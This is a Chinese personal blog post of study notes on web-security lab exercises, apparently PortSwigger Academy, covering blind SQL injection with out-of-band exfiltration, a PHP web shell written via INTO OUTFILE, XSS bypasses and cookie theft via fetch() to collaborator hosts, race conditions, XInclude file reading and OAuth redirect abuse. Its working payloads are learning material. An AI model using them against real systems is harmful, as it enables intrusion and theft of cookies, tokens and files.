新技巧学习

题外话:很久没更新了,其实也在思考,这条路究竟适不适合我,我也很羡慕那些大佬,src排名啊,cnvd证书个数啊,但是他们想必也付出了很多,无数个日日夜夜,我还是继续吧,走一步看一步了。

0x01 SQL盲注

1.带外交互+数据泄露

带外测试,也就是盲操作,比如盲ssrf,盲xxe,盲xss,这种就是目标机不显示任何回显信息,或者无法立即触发(比如xss)时利用。

解决:外部服务器搭建,插入语句,让目标服务器访问我们的外部服务器,这里就是burp collaborator

参考:burp collaborator介绍、安装与使用

就类似于dnslog了。

这里是配合xxe去触发一个dns查询,证明存在这种漏洞。

靶场1

证明有交互,那就可以尝试数据泄露

靶场2

注入语句

密码回显了

2.xml编码绕过

因为该网站有一个库存检查的xml请求

1
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>5</productId><storeId>2</storeId></stockCheck>

1.尝试进行如下替换

1
<storeId>1+1</storeId>,也是可以的

2.判断sql注入

1
2
3
//检测到攻击
<storeId>1'</storeId>
<storeId>1 UNION SELECT NULL</storeId>

3.编码dec_entities

1
2
3
<storeId>
<@dec_entities>1'<@/dec_entities></storeId>
正常回显,绕过了

4.对**1’**进行关键字替换

1
2
1 order by 1 //回显有数字,其余的为0,则只有一列
1 UNION SELECT username || '~' || password FROM users //回显了数据信息

PS

burp collaborator在sql注入时,就和那个dnslog一样就可以了

比如:

1
select 1,2,LOAD_FILE(concat('\\\\',database(),'~','abcdef...b.net\\a')) --+

sql注入-命令执行

既然都有load_file这个命令了,into_file回顾一下

本质就是写进一个php文件,与文件上传本质相同,只不过渠道不一样

还有sqlmap的os-shell,本质也是这个,上传了一个可以命令执行且能访问的文件罢了(如果我没记错的话)

要求就俩:

1.能写入

2.知道网站根路径

在本机操作,进入mysql(攻击方的话是进行sql注入写进来的,语法差不多)

1
2
3
show variables like "secure_file_priv" #结果要为空,才能写入

select '<?php $out=shell_exec($_GET["cmd]);echo "<pre>".$out."</pre>"?>' into outfile '/tmp/temp';

后面这个/tmp/temp,就是写进了tmp文件夹下的temp文件,当然这个可能就访问不到,需要网站根目录,一般来讲是 /var/www/html/1.php

1
curl http://192.23.200.3/1.php?cmd=ls

0x02 xss绕过

1.尖括号编码bypass

1
2
3
//双引号闭合
" onmouseover="alert(1)
" onclick="alert(1)

2.waf常见标签拦截

这里是仅仅用了waf,实际场景里是多方搭配的,waf+编码+替换等

1
<h1>0 search results for '" onmouseover="alert(1)'</h1>

直接给标题化了

1
2
3
4
//提示标签不允许
</h1><script>alert(1)</script>
</h1><img onerror=alert(1)>
<img onerror=alert(1)>

1.上intruder,用字典,期望找到一个不被禁用的标签

1
2
3
4
5
1.intruder,如此构造:
GET /?search=<§§> HTTP/2
2.上标签字典,爆破
3.唯有一个正常200的:
GET /?search=<body> HTTP/2

2.找到标签后,继续爆破一个可触发的事件

1
2
3
4
5
6
1.构造如下:
GET /?search=<body+§§=1> HTTP/2
2.上事件字典爆破
3.有几个200的:
如onresize,onratechange,onbeforeinput...
<body+onresize=1>

3.去恶意服务器尝试payload发送

1
<iframe src="https://0a6900ff0368276d80d108c700b9002e.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=alert(document.cookie)%3E" onload=this.style.width='100px'>

靶场位置

3.尖括号/双引号编码、单引号转义

1
2
3
 <h1>0 search results for '&lt;script&gt;alert(&quot;1&quot;)&lt;/script&gt;'</h1>

var searchTerms = 'alert(\'1\')';

这个利用了反斜杠,构造payload

1
2
3
4
\'-alert(1)//

<h1>0 search results for '\\&apos;-alert(1)//'</h1>
var searchTerms = '\\'-alert(1)//';

4.xss获取cookie

这里的思路为:留言板留言->评论处构造恶意载荷(以burp collaborator获取访问者cookie)->burp collaborator得到交互信息->Poll now->获得http协议交互,可查看到受害者cookie(在请求包中)

载荷内容

1
2
3
4
5
6
7
<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

验证:去访问该留言板块时,确实出现弹窗

0x03 条件竞争

背景介绍:有一个优惠券码,仅限使用一次;但是通过测试发现,通过并发的手段可以实现优惠券的多次使用,而目标商品有1300,购买者只有50块。

所以对使用优惠码的地方进行拦截,并发

当请求次数为30次时,明显目标商品有优惠后,有500多了,但还是买不起,所以将相应次数调整后再看

我试了几个没成功,虽然都多次降价了,还是买不起,知道思路方法就好。

工具介绍:Turbo intruder

靶场位置

PS:对于并发,burp中有自带的一个技巧,就是将repeater中的某个请求包先ctrl+r(重复发送到repeater)到20次,再将它们添加成一个**,再并发即可,但是至少要2023.9版本才有Sending requests in parallel**选项

0x04 xml攻击

emmm,这个我之前学过理论,但没多久就忘了。

直接看靶场

背景

就是说,post请求体中有一个productid=1&storeId=1,除了测试sql注入,还可以进行xml注入,包括但不限于任意文件读取、rce、XInclude等

这里的payload是XInclude

1
productid=<dag xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></dag>

读取/etc/passwd

它这里是配合工具来的,就是说一开始就扫描,很慢;那需要人工去筛选一个可疑的地方进行针对扫描,就很快

其它参考:

burp自带的扫描也很重要

三亿人

0x05 burp的扫描功能

这是一个针对性的非标准性、局部扫描,详见此处

解释:可能遇见一种参数为,user=048857-carlos,后端可能处理这两部分作为输入,048857和carlos,如果是传统的扫描这部分的话,可能就是对048857-carlos后面加些东西,但如果只想对048857单独扫描的话,就需要用到Scan selected insertion point

第一遍没扫到,等个几分钟,有一个存储xss漏洞,构造如下载荷,发送到burp Collaborator,有回显信息后并poll know

1
2
'"><svg/onload=fetch(`//a7ik8h9k145mbu67363joskez55wtmhb.oastify.com/${encodeURIComponent(document.cookie)}`)>:YTowF2SzCdbOWIQpsZr1hC3YYOl3OkQQ
#获取解码后的cookie信息,冒号后面是自己的session

查看http的请求得到管理员cookie信息,直接替换后,可以进入管理面板,删除目标用户信息

0x06 Oauth服务

背景:OAuth服务框架呢,允许使用社交媒体账号登录;我自己整理一下它的工作流程:完整版在这里

1.应用程序要去请求资源所有者的某个数据的访问权限

2.资源所有者登录到OAuth,就表示同意了

3.应用程序获取到一个令牌(这个令牌代替了传统的密码),可以让它调用接口访问相应数据

OAuth服务标识:

1
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24

1.只校验了邮箱

已有可登录的post请求

1
{"email":"winener@qq.com","username":"wiener","token":"oKQJxlA0V7WZp4Wgkf460k51sLMs0XcEfapPKw6xK4-"}

将email替换成carlos的

1
carlos@carlos-montoya.net

发送该请求包后,burp->Request in browser > In original session,复制url即可登录到carlos的

2.redirect_url

靶场位置

目的:获得管理员的API

1.用已知用户wiener登录,发现API是隐藏的,且登录成功时会回退到博客首页,从http history不难看出,中间的步骤是有redirect_uri的

2.尝试注销用户,从登录的那一刻开始就拦截,直到forward到有参数为redirect_uri的数据包

1
GET /auth?client_id=hi4agpm9ff62hzt7plwob&redirect_uri=https://0a21001403bb9f1780249e7200de00e1.web-security-academy.net/oauth-callback&response_type=token&nonce=484576008&scope=openid%20profile%20email

3.尝试目录遍历

1
为uri添加/../post?postId=1

4.继续forward后,登录成功,且页面跳转到第一个博客的位置,且url泄露出有access_token

1
https://0a21001403bb9f1780249e7200de00e1.web-security-academy.net/oauth-callback/../post?postId=1#access_token=Y9VTceiQraY9-hTxs0jixVVwDo1eaycirL0EokzJn7h&amp;expires_in=3600&amp;token_type=Bearer&amp;scope=openid%20profile%20email"

5.而且根据burp呢,发现有一个接口

1
2
GET /post/next?path=/post?postId=2 HTTP/2
其作用不言而喻

危害就出现了,那攻击者完全可以构造恶意url地址

后面有点麻烦,去吃饭了,以后再说

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信